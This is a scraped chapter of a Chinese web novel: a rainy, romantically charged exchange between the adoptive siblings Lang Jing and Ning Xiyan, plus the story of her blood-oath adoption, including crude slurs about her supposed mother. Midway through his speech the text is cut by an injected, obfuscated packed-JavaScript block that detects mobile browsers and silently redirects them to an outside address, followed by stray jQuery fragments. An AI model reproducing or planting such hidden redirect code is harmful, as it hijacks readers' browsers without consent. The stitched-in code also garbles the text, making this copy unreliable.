默认冷灰
24号文字
方正启体

38. 驴不上磨

作者:风渚予下本书字数:K更新时间:
    “呵,哥哥的好妹妹这是情窦初开,也学人家少女思春了?”


    廊璟本来只是随口说说,哪知道宁汐颜竟还真得敢答应。


    廊璟心里对宁汐颜偏执疯狂又患得患失的执念和痛楚,一下子就像是被宁汐颜彻底撩起来,硬是让他现在满脑子里都是宁汐颜方才跟莺州城里那些上门来提亲的公子哥们儿。


    尤其是对蒲钰深,宁汐颜当着廊璟的面前娇声娇气地叫蒲钰深和其他那些公子哥儿世家子弟们哥哥。


    又任由他们这些人叫她……


    汐颜妹妹。


    殊不知。


    这可一直都是廊璟最大的忌讳和最不可明讲直挠的。


    痒痒肉……


    别说是当着他面前叫宁汐颜……妹妹,汐颜妹妹了。


    就是廊璟有时候自己这么叫宁汐颜。


    都难免恍惚。


    有些吃他自己的“醋”。


    但廊璟本意只为试探,倘若是宁汐颜她那什么表哥褚叶棠浔真找上门来了。


    说要把宁汐颜从他身边给带走。


    那宁汐颜又会怎么选?


    是留下继续做他的妹妹,甚至是未来的廊家媳妇儿他的妻子。


    还是跟她表哥回麝香城。


    去做她的棠荷郡主,抑或公主。


    偏偏宁汐颜好像就喜欢使劲儿去挠,她兄长廊璟的那一撮儿“痒痒肉”。


    廊璟愈是不想让她做的。


    不愿让她说的。


    她愈感兴趣。


    最多把她哥哥惹炸毛了。


    再往他嘴里。


    塞几个枣儿给点儿甜头。


    哄一哄就是了。


    廊璟平时本也是个温顺如玉的谦谦君子,可一旦沾上他妹妹宁汐颜。


    却也是个犟牛脾气。


    憨呆得很。


    宁汐颜却就喜欢她的这个“憨呆”大哥哥,让她每次都能撩得又欢乐。


    又尽兴。


    廊璟却也十分甘愿被他妹妹耍弄拿捏。


    任她怎么折腾。


    也不会真得跟她掀桌子。


    而宁汐颜也端着块免死金牌似的,对她哥哥愈发肆无忌惮为所欲为了。


    廊璟后悔……


    却也似乎就好被她这样折腾。


    拿捏。


    “但小妹你可别忘了,这些年可都是哥哥一直陪在你身边,看着你一天天长大的。而且且不说你是为兄亲手从外头抱回来的,一手把你养大的,单只是这些年你欺负为兄,让为兄身上到处都是被你的小虎牙啄过咬过啃过的牙印子不说。


    还从脸上脖子上往下到哥哥的胸腹肚脐,也到处都是被为兄的好妹妹你掐过不知道多少次的手指印。


    就这些让为兄有时候就连睡觉做噩梦,都要想着怎么防着你。


    躲着你的残酷暴行不耻行为。


    ‘恶劣行径’。


    你又要让为兄怎么才能那么轻易说饶了你就饶了你。


    说放你走。


    就放你走啊?”


    廊璟犹如朗月桂树一般颀长峻冷的身体和面容,被暴雨如潮汹涌冲荡紧密围困着,像是被银白锁链缠住一身桀骜孤冷的不驯眼神阴鸷面庞,眉弯如墨笔行锋本该行云流水隽永如画,可却偏偏被宁汐颜所激怒挑弄绞乱心扉,犹如暴怒野兽一样怒不可遏地看着宁汐颜。


    可眼角两边的裂纹和瞳眸里深处的那一片森林暗夜,却又紧紧扭曲坍缩成一片颓靡狼藉荒芜空寂的悲伤鬼域与河流。


    仿佛来自幽冥中最深处禁忌的恶魔与暴君深沉复杂,而又悲伤压抑地冷冷凝视着宁汐颜的眼睛,却又像是一轮被命运的齿轮紧锁束缚。


    始终沦溺深陷在他心中。


    本不该存在的妄念枷锁将他幽囚捆锁。


    目光清冷颓丧而又不驯桀骜好似一轮皎洁明月,偏又有着几分苍冷残厉如鹰隼折翼从苍穹最高处坠落下时,凝视着本该是属于它口中之物却侥幸逃脱的小猎物,不仅从它凶猛有力坚硬如铁的铁爪鹰钩下逃走了,还不停回头活泼乱跳雀跃不已地冲着它天真烂漫地尽情欢笑。


    看着它折翼坠落幸灾乐祸。


    向它挑衅。


    但它却只能不断从空中坠落,却拿这小猎物没一点儿法子。


    宁汐颜被廊璟一遍一遍数落着他身上,以前从她跟廊璟很小的时候开始,就被她用牙齿指甲咬过抓过挠过的那些伤疤印记。


    不但没觉得廊璟有什么好让她害怕的。


    反而……


    却止不住想笑。


    “哥,你刚刚跟我是不是说了什么多,是不是还说漏了不少呢?”


    宁汐颜看到廊璟脸上痛苦又憋屈,看着凶神恶煞的要吃人似的。


    可眼睛里……


    却都是对她的眷恋和不舍。


    疯狂压抑又备受折磨煎熬的执念。


    不禁凹着脸颊酒窝,甜涩一笑……


    突然像个小机灵鬼一样,向廊璟瑟瑟缩缩地说道:“阿兄,既然你都提起来了,那妹妹就实话跟哥哥你说,其实人家以前就一直想跟哥哥你道……道个歉的。


    但……”


    廊璟却突然冷笑道,“什么?道……道歉?妹妹居然也会跟我道歉了?这可真是让哥哥背脊……”


    廊璟刚想说话。


    又突然反应过来,这会儿他背脊后面凛冽透骨的雨水。


    正往他背上哗哗往下淌呢。


    反应过来以后……


    廊璟不免有些尴尬,可又不好意思收回刚才准备说的那些话。


    宁汐颜似乎也看出了廊璟的窘境,遂羞埋一笑轻声说道:“没关系,哥你就放心说吧,反正这会儿也没外人听见,就咱俩儿,除了这些雨声哗哗啦啦吵着咱们。


    还有雨水湿湿嗒嗒地往咱俩身上淌,倒也没什么平时那些不好意思开口好羞人的话,是咱们兄妹两个不好意思讲的。


    其实说白了。


    妹妹心里一直想得很清楚。


    甭管别人怎么讲。


    哥哥你还不就是妹妹我这心里边儿最坚实可靠的顶梁柱。而妹妹我不也一直都是哥哥你最在乎宠溺的心头肉……”


    宁汐颜话音未落……


    廊璟却又忽然重新抖擞起了精神,猛然一下直接凑到宁汐颜唇上,“妹妹你怎么又说错话了,哥哥是妹妹你的顶梁柱没错。但妹妹你又何止是哥哥我的心头肉,哥哥我这整个人整颗心都是妹妹你的,哥哥我这还不够半斤八两的心头肉又能值上几个钱?


    要说我廊璟能有像妹妹这么一位如花似玉皎如玉兔的好妹妹……好姘头相好儿的,就是妹妹你把哥哥这整个人整颗心都拿去卖了当了,只要能哄得妹妹你开心满意。


    那哥哥就算死在妹妹手里,又有什么要紧的。


    妹妹你何止是哥哥的心头肉?


    你可曾晓得。


    妹妹你可一直都是我廊璟心里最不可方物之物,不可割舍之人。


    比起失去妹妹你。


    哥哥宁可与妹妹恩爱缠绵至死,也绝不要眼睁睁看着妹妹你有朝一日嫁给别人!


    给别人做新娘!


    妹妹你的名字是我给起的,你的命也是我给捡回来的,还有你的襁褓衣食喜怒哀乐也都是哥哥我给你捡着接着的。


    甚至当初收养妹妹你的义养文书和那条由我廊璟亲自滴血相认的骨红绸子。


    那条当初把我跟你妹妹的手腕和身体紧紧缠在一起也连在一起,让我把妹妹你亲手从我廊家祖祠一路抱回来的义养红绸。从此无论是官府和还是我廊氏家族都认了你就是我廊家的养女,也是我廊璟的义妹,谁都没资格站出来再说咱们兄妹二人什么闲话。


    即便是后来他们那些人总是说你是那红香女纪修瑶生的小贱婊子小骚.蹄子淫.荡贱.妇,什么污言秽语难听的话都往你身上骂,但他们又有谁敢说你宁汐颜不是我廊璟的义妹?敢站在我廊璟的面前,说你不是我廊家的人吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319038|199022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们当然不能也不敢。


    因为妹妹你可是我廊璟在我廊家祖祠发过毒誓,滴过了那满满一碗的‘认亲血’。


    把那条雪白丝滑的白绢布从那一碗滴满了我廊璟的血的,我廊家宗族祖上祖传下来的祭祀专用的祭祀碗里头,一点一点浸透染红染成了。


    那条把你和我的手腕紧紧地缠在一起,然后我拖着一身气血亏虚过度耗损的孱弱身体,几乎是跟死神一边打着交道客客气气给它赔笑讨好,一边抱着还只是几个月大的襁褓婴儿的妹妹你,一路昏昏沉沉每往前走一步都跟天旋地转似的,不过短短几里的路程,却让我感觉像是历尽了这一辈子的痛苦艰辛,耗尽花光了我廊璟这辈子所有的精神和力气,才终于把你从我们廊家祖祠抱回家的那条骨红绸子。


    都是我廊璟跟妹妹你这一生兄妹感情和缘分的最好见证和誓言。”


    廊璟突然把额头压在了宁汐颜的额头上。


    宁汐颜在他的眸子里。


    仿佛也看见了。


    当初因为廊家宗族和其他那些邻里街坊……


    官府衙门。


    乃至于整个莺州城的人。


    都猜测廊璟从红香楼后头巷子里,捡回他们廊家去的那名女婴。


    说不准就是红香楼头牌花魁。


    红香女纪修瑶的女儿。


    也因此。


    除了廊家以外的人对廊璟非要逼着求着他老爹老娘收养那名女婴。


    颇有非议。


    廊家宗族本家的人也十分不满和嘲讽。


    坚决反对和抵制。


    廊璟把那名女婴带回廊家。


    觉得廊璟和他老爹老娘要是这么做,不但有伤风化。


    还有违廊家的祖法,严重有损败坏了整个廊氏家族的声望和家族门风。


    可廊璟小小年纪。


    却偏偏竟敢在那廊家祖祠祠堂下,直接跟廊氏宗族大族长和长辈们公然叫板。


    要么他们把廊璟打死。


    要么就让廊璟把那女婴带回家。


    最后实在没办法。


    万不得已之下。


    廊璟他奶奶才求着廊璟的六叔公廊梧生给拿个主意想想办法。


    廊梧生思来想去。


    最后终于找到廊氏宗族的大族长廊远寄,说以前廊家祖上倒是有个规矩。


    如果说有那种饱受世俗非议,家世来历也不干不净的人要想进廊家大门。


    那就让他们滴血……


    认亲。


    但却不是一般人眼中认为的滴血认亲,而是滴血以后才能算是廊氏义亲。


    而廊璟正是经过了。


    廊氏宗族“滴血认亲”的考验,才终于闯过了这生死关。


    用那条骨红绸子裹着宁汐颜。


    把她抱回了他们家。


    从此。


    他便是真正成了她名正言顺的义兄,而她也成了他无可争议的义妹。


    宁汐颜听到廊璟第一次跟她这么悲伤难过地说些话。


    倾吐衷肠。


    不由内心温暖又戚然伤感。


    情不自禁。


    仰起脸庞,准备给哥哥贴心一吻。


    作为偿还。


    可是……


    “诶,妹妹,等一下,我怎么…感觉我背……背脊后面还真有点儿发……


    发凉呢!”


    廊璟偏偏大煞风景,教宁汐颜不由一愣尴尬不已。


    好生没劲。


    不由翻了个白眼,啐口道:“真是个好没意思的汉子,人家姑娘白送过去都不知道伸手挪腿儿的。亏人家刚才还那么感激心疼着他呢!也该这笨人驴子一辈子绕磨转圈儿,人家都已经……眼泪汪汪看着他了,都不知道上磨磨面的。还跟人家那么煽情噘嘴凄凄惨惨说了好半天嘞。


    可人家刚来了点儿兴致,又又什么背……背脊发凉。


    呵,呵呵…!


    真……真是笑死老娘了嘞!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)